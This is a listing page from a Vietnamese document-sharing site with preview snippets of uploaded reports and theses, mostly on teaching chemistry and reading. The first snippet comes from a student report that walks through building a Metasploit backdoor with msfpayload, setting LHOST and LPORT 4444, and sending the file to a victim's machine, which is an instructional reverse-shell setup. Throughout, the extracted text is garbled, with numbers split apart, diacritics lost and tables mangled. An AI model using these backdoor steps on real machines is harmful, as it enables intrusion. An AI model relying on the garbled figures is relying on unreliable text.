... Port 313 37 313 38 - Deep Throat – Sử dụng UDP protocol – Sử dụng Port 21 40 315 0 - NetBus – Sử dụng TCP Protocol – Sử dụng Port 12 3 45 12 3 46 - Whack-a-mole – Sử dụng TCP – Qua Port 12 3 61 12 3 62 - Netbus ... Windows, dựa nguyên lý hoạt động Backdoor Các bước thực - Bước 1: Sử dùng lệnh ifconfig kiểm tra IP máy Backtrack Ở IP máy acktrack 1 92. 16 8 .1 .2 Hình 3 .1: Kiểm tra IP - Bước 2: Tạo Backdoor msfpayload ... LHOST 1 92. 16 8 .1 .2 set LPORT 4444 set channel exploit Hình 3.4: Thao tác mở cổng, chờ kết nối - Bước 4: Gửi file sang máy nạn nhân 10 | P a g e Tìm hiểu xây dựng chương trình minh họa hoạt động...
Ngày tải lên: 26/06/2016, 09:40
Thiết kế và sử dụng lược đồ tư duy cho các bài luyện tập phần hoá học hữu cơ lớp 12 trung học phổ thông nhằm tích cực hoá hoạt động của học sinh
... 5.30 14 .23 29 .17 42. 32 46.59 32. 96 18 .94 10 .49 4.55 16 .85 25 .00 39.33 50.00 32. 58 20 .45 11 .24 5.68 11 .24 34.09 42. 70 42. 05 37.08 18 .18 8.99 Tổng hợp 5.30 14 .23 29 .17 42. 32 46.59 32. 96 18 .94 10 .49 ... X V (%) TN ĐC TN ĐC TN ĐC 7.03 6 .19 1. 54 1. 65 21 .90 26 .73 7 .19 6 .20 1. 51 1.76 21 .05 28 . 41 6.93 6.30 1. 56 1. 62 22. 48 25 .66 Tổng Hợp 7.05 6 .23 1. 54 1. 68 21 .85 26 .96 Bảng 3.8 Tổng hợp tham số đặc ... 11 5 0 3 10 0 10 0 10 11 0 0 6 10 10 0 0 10 TN 12 G Đối tƣợng Số học sinh đạt điểm Xi Lớp Số Bài HS KT Trƣờng 0 10 10 0 8 0 2 11 45 THPT Kim Thành 12 H 12 E ĐC TN 44 43 THPT Phúc Thành 12 G ĐC 45...
Ngày tải lên: 09/02/2014, 15:39
Thiết kế và sử dụng lược đồ tư duy cho các bài luyện tập phần hoá học vô cơ lớp 9 nhằm tích cực hoá hoạt động của học sinh
... 9.43 14 .68 28 .30 53 . 21 50.94 23 .85 11 . 32 8 .26 Số 10 .48 15 .60 16 .19 41 .28 51. 43 33.03 21 .90 10 .09 Số 9.43 14 .68 27 .36 54 .13 52. 83 23 .85 10 .38 7.34 Số 8.49 11 . 01 32. 08 58. 72 43.40 21 .10 16 .04 9 .17 ... S2 X S V (%) TN ĐC TN ĐC 6.89 5.97 2. 76 2. 89 1. 66 1. 70 24 .09 28 .48 Xuân Lộc 6.68 5.77 2. 86 2. 97 1. 69 1. 72 25.30 29 . 81 6. 81 5.84 2. 22 2.95 1. 49 1. 72 21. 88 29 .45 7 .11 6.08 2. 71 2. 94 1. 65 1. 71 23 . 21 ... 23 . 21 28 .13 Xuân Lộc 7.09 6.09 3.08 3 .22 1. 75 1. 79 24 .68 29 .39 Xuân Chinh 7. 31 6.43 2. 62 2.89 1. 62 1. 70 22 .16 26 .44 Vạn Xuân 6.78 5.86 2. 51 2. 82 1. 58 1. 68 23 .30 28 .67 Xuân Lộc 6.68 5.77 2. 80 2. 86...
Ngày tải lên: 09/02/2014, 15:39
Tiết 58 tạo biểu đồ minh họa GA thao giảng
... Thứ ngày 01 tháng 04 năm 20 10 Tiết 58 Bài 9: biểu đồ Trình bày liệu Minh hoạ số liệu biểu đồ Thứ ngày 01 tháng 04 năm 20 10 Tiết 58 Bài 9: Trình bày liệu biểu biểu Minh hoạ số liệu bằngđồ đồ Mục ... dạng biểu đồ - Chart Types: chọn nhóm biểu đồ - Chart Sub-Types: chọn dạng biểu đồ nhóm Nháy vào Next Thứ ngày 01 tháng 04 năm 20 10 Tiết 58 Bài 9: Trình bày liệu biểu đồ Minh hoạ số liệu biểu đồ ... Chọn dạng biểu đồ - Chart Types: chọn nhóm biểu đồ - Chart Sub-Types: chọn dạng biểu đồ nhóm Thứ ngày 01 tháng 04 năm 20 10 Tiết 58 Bài 9: Trình bày liệu biểu đồ Minh hoạ số liệu biểu đồ b) Xác...
Ngày tải lên: 16/07/2014, 08:00
Thiết kế và sử dụng lược đồ tư duy cho các bài luyện tập phần hóa học vô cơ lớp 9 nhằm tích cực hóa hoạt động của học sinh
... trình nghiên cứu 23 1. 3.4 Thiết kế hoạt động dạy học theo lược đồ tư 1. 3.4 .1 Các bước để thiết kế hoạt động dạy học Hình 1 .2 Thiết kế hoạt động dạy học theo lược đồ tư Bước 1: Xác định phương ... 40 2. 3 .1. 1 Tính chất hoá học oxit 2. 3 .1 .2 Tính chất hoá học axit 2. 3 .2 Lược đồ tư nội dung kiến thức cần nhớ 13 Luyện tập chƣơng 1: Các loại hợp chất vô 2. 3 .2. 1 Phân loại hợp chất vô 41 2. 3 .2. 2 ... thành: - Hoạt động khởi động: hoạt động mở đầu có nêu mục tiêu tiết học, kiểm tra cũ để nêu vấn đề - Tiếp hoạt động khởi động hoạt động nhằm đạt đƣợc mục tiêu học kiến thức, kỹ bao gồm: hoạt động...
Ngày tải lên: 17/03/2015, 08:06
Thiết kế và sử dụng lược đồ tư duy cho các bài rèn luyện tập phần hóa học hữu cơ lớp 12 Trung học phổ thông nhằm tích cực hóa hoạt động của học sinh
... 1. 5 Lc t 1. 5 .1 Khỏi nim lc t (bn t duy, s t duy) 1. 5 .2 Phng phỏp lp lc t v cỏc phn mm h tr 1. 5.3 S lc v phn mm Mindjet MindManager 3 3 4 5 10 12 12 13 14 16 18 18 20 ... HU C LP 12 2. 1 Ni dung kin thc v phõn phi chng trỡnh cỏc bi phn hoỏ hu c lp 12 2. 1. 1 Chng trỡnh phn húa hc hu c lp 12 THPT ban c bn 2. 1 .2 Phõn phi chng trỡnh húa hu c lp 12 THPT ... ban c bn nm hc 20 10 -20 11 2. 2 Lp lc t ni dung kin thc cn nh bi luyn phn hoỏ hu c lp 12 2. 2 .1 Lc t phn kin thc cn nh Bi Luyn este v cht bộo 2. 2 .2 Lc t phn kin...
Ngày tải lên: 17/03/2015, 08:06
Vận dụng phương pháp tích cực hoá hoạt động của học sinh để tổ chức dạy kể chuyện theo tranh lớp 2
... tranh lớp theo phương pháp tích cực hoá hoạt động học sinh III/ Phương pháp nghiên cứu Để hoàn thành trình nghiên cứu đề tài, sử dụng số phương pháp sau: 1) Nhóm phương pháp nghiên cứu lý luận ... NGHIÊN CỨU TÌNH HÌNH: 1) Cơ sở ngôn ngữ: Dạy kể chuyện theo tranh hình thức sử dụng tranh minh hoạ sách giáo khoa để gợi mở, hướng dẫn học sinh kể lại đoạn toàn câu chuyện Đồng thời giúp cho học ... thức tổ chức riêng Nhưng hướng tới mục tiêu Ví dụ : Khi dạy “Quả tim khỉ” (Tiếng Việt 2- tuần 24 - tiết 2, trang 52) Hình thức tổ chức dạy kể lại đoạn câu chuyện, phân vai dựng lại câu chuyện dựa tranh...
Ngày tải lên: 29/03/2015, 08:45
skkn xây dựng bài tập rèn kỹ năng đọc cho học sinh lớp 2 theo hướng tích cực hóa hoạt động học tập
... học tích cực 5 .1 Tính tích cực gì? (TTC) Tính tích cực phẩm chất vốn có người đời sống xã hội Tính tích cực người biểu hoạt động đặc biệt hoạt động chủ động chủ thể Học tập hoạt động chủ đạo trẻ ... trọng chất hoạt động đọc trình đọc - Trong đổi phương pháp dạy học phải có hợp tác thầy trò, phối hợp hoạt động dạy hoạt động học thành công - Giáo viên phải kiên trì dùng cách dạy hoạt động để ... đoán…Các từ ngữ mà em học thông qua dạng Tập đọc Quan điểm hoạt động đọc kỹ đọc Đọc hoạt động tiếp nhận thông tin thông qua kênh chữ Hoạt động đọc xảy người đọc tiếp nhận nội dung, kiến thức đọc...
Ngày tải lên: 12/10/2015, 23:09
skkn phương pháp dạy và học chương 2 bảng tuần hoàn các nguyên tố hóa học và định luật tuần hoàn hóa học lớp 10 THPT ban cơ bản theo định hướng tích cực hóa hoạt động của học sinh
... ns1 IB (n -1) d10 ns1 IIA ns IIB (n -1) d 10 ns2 IIIA ns2np1 IIBA (n -1) d 1ns2 IVA ns2np2 IVB (n -1) d 2ns2 VA ns2np3 VB (n -1) d 3ns2 VIA ns2np4 VIB (n -1) d 5ns1 VIIA ns2np5 VIIB (n -1) d 5ns2 VIIIA ns2np6 ... NGHIỆM CÁC ĐỀ KIỂM TRA BÀI ĐỀ 1: 1D, 2A, 3D, 4C, 5B Đ 2: 1B, 2D, 3C, 4D, 5C ĐỀ 3: 1C, 2A, 3D, 4B, 5D ĐỀ 4: 1A, 2C, 3A, 4D, 5D Bản đăng kí Sáng Kiến 48 Năm học 20 13 - 20 14 Giáo viên: Trương Thị Hồng ... Đổi hoạt động dạy học giáo viên: Các hoạt động giáo viên bao gồm: + Thiết kế, kế hoạch học bao gồm hoạt động học sinh theo mục tiêu cụ thể học hóa học mà học sinh cần đạt + Tổ chức hoạt động...
Ngày tải lên: 11/12/2015, 22:26
DỰ ÁN HỖ TRỢ HỆ THỐNG Y TẾ, HỢP PHẦN 2.1 – Tăng cƣờng các hoạt động Cảnh giác dƣợc
... thuốc hợp lý, an toàn • Thời gian: 20 14 -20 15 • Tổng số chuyên luận: 60 thuốc (35 thuốc /20 14 ; 25 thuốc /20 15 ) – CT lao: 15 thuốc – CT HIV/AIDS: 25 thuốc – CT sốt rét: 20 thuốc Cẩm nang bao gồm chuyên ... Trung tâm DI&ADR Quốc gia: – Kết GĐ 1: Hội đồng hoạt động có hiệu quả, tư vấn kịp thời cho TTQG hoạt động xử lý công văn khẩn, nghiên cứu triển khai hoạt động đào tạo, biên soạn tài liệu tập ... indicators nhận báo cáo ADR vấn đề khác liên quan đến thuốc 20 16 2, 7% 33% 43% 60 70 75 60 80 90 Khung hoạt động giai đoạn (sửa đổi) Tăng cường hoạt động CGD MT4 Kiện toàn mạng lưới CGD MT5 Tăng cường...
Ngày tải lên: 18/06/2016, 11:36
skkn dạy học toán theo hướng tích cực hóa hoạt động của học sinh lớp 1
... việc giải toán - Mức độ ba: Hoạt động hình thành kĩ giải toán Để học sinh nắm vững bước trình giải toán giáo viên cần tiến hành sau: 4 .2. 1 -Hoạt động chuẩn bị cho việc giải toán: Trước toán giáo ... thực nghiệm lớp , thu số kết sau : Lớp Sĩ số 1A 1C 35 35 Đạt điểm trở lên 9- 10 7-8 SL % SL % 13 37 ,1 12 34,3 17 48,6 13 37 ,1 Đạt điểm 5- SL % 22 ,8 14 ,3 SL % 5,8 Qua thực nghiệm thấy kết có tiến ... kiểm tra lại toán mà học sinh nhầm lẫn dạng toán 2. 3.Mức độ ba: Hoạt động hình thành kĩ giải toán Hoạt động bao gồm việc thực phép tính nêu kế hoạch giải toán trình bày giải Mỗi có câu lời giải,...
Ngày tải lên: 26/07/2016, 14:56
Quản lý hoạt động dạy học theo hướng tích cực hóa hoạt động của học sinh trường tiểu học nguyễn trung ngạn quận 8 thành phố hồ chí minh
... 1 .2 Một số vấn đề lý luận quản lý hoạt động dạy học tiểu học 11 1 .2. 1 Một số khái niệm 11 1 .2. 2 Quản lý hoạt động dạy học theo hướng tích cực hóa tiểu học 16 iii 1 .2. 3 Quản lý hoạt ... 1. 1 .1 Việc nghiên cứu quản lý hoạt động dạy học theo hướng tích cực hóa hoạt động học sinh giới 1. 1 .2 Việc nghiên cứu quản lý hoạt động dạy học theo hướng tích cực hóa hoạt động ... cực: Hoạt động dạy học theo hướng tích cực bao gồm hoạt động dạy người thầy hoạt động học học sinh Hai hoạt động có gắn kết chặt chẽ, mật thiết với nhau, tồn cho Hoạt động dạy học gồm hai hoạt động...
Ngày tải lên: 11/11/2016, 08:58
Những biện pháp tích cực hoá hoạt động của học sinh trung học phổ thông trong giờ văn học sử
... % 13 27 ,1 20 41, 7 14 29 ,1 Kém SL % THPT Công 11 C1 48 2, 1 11C2 50 10 ,0 27 54,0 12 0 0 Nghiệp THPT Việt Trì Số hóa Trung tâm Học liệu – Đại học Thái Nguyên 29 24 12 http://www.lrc-tnu.edu.vn 1 .2. 4 ... Khá Yếu bình SL % SL % SL % SL % Kém SL % THPT Công 11 C1 48 4 ,2 12 25,0 22 45,8 12 25,0 0 11 C2 50 6,0 21 42. 0 20 40,0 0 Nghiệp THPT Việt Trì 12 , 0 Nhận xét qua kết khảo sát Thực tế khảo sát cho ... ngƣời động, thích ứng góp phần phát triển cộng đồng Tính tích cực ngƣời đƣợc biểu hoạt động “tính tích cực trạng thái hoạt động chủ thể, nghĩa ngƣời hành động Tính tích cực trẻ biểu hoạt động...
Ngày tải lên: 09/11/2012, 10:54
Bạn có muốn tìm thêm với từ khóa: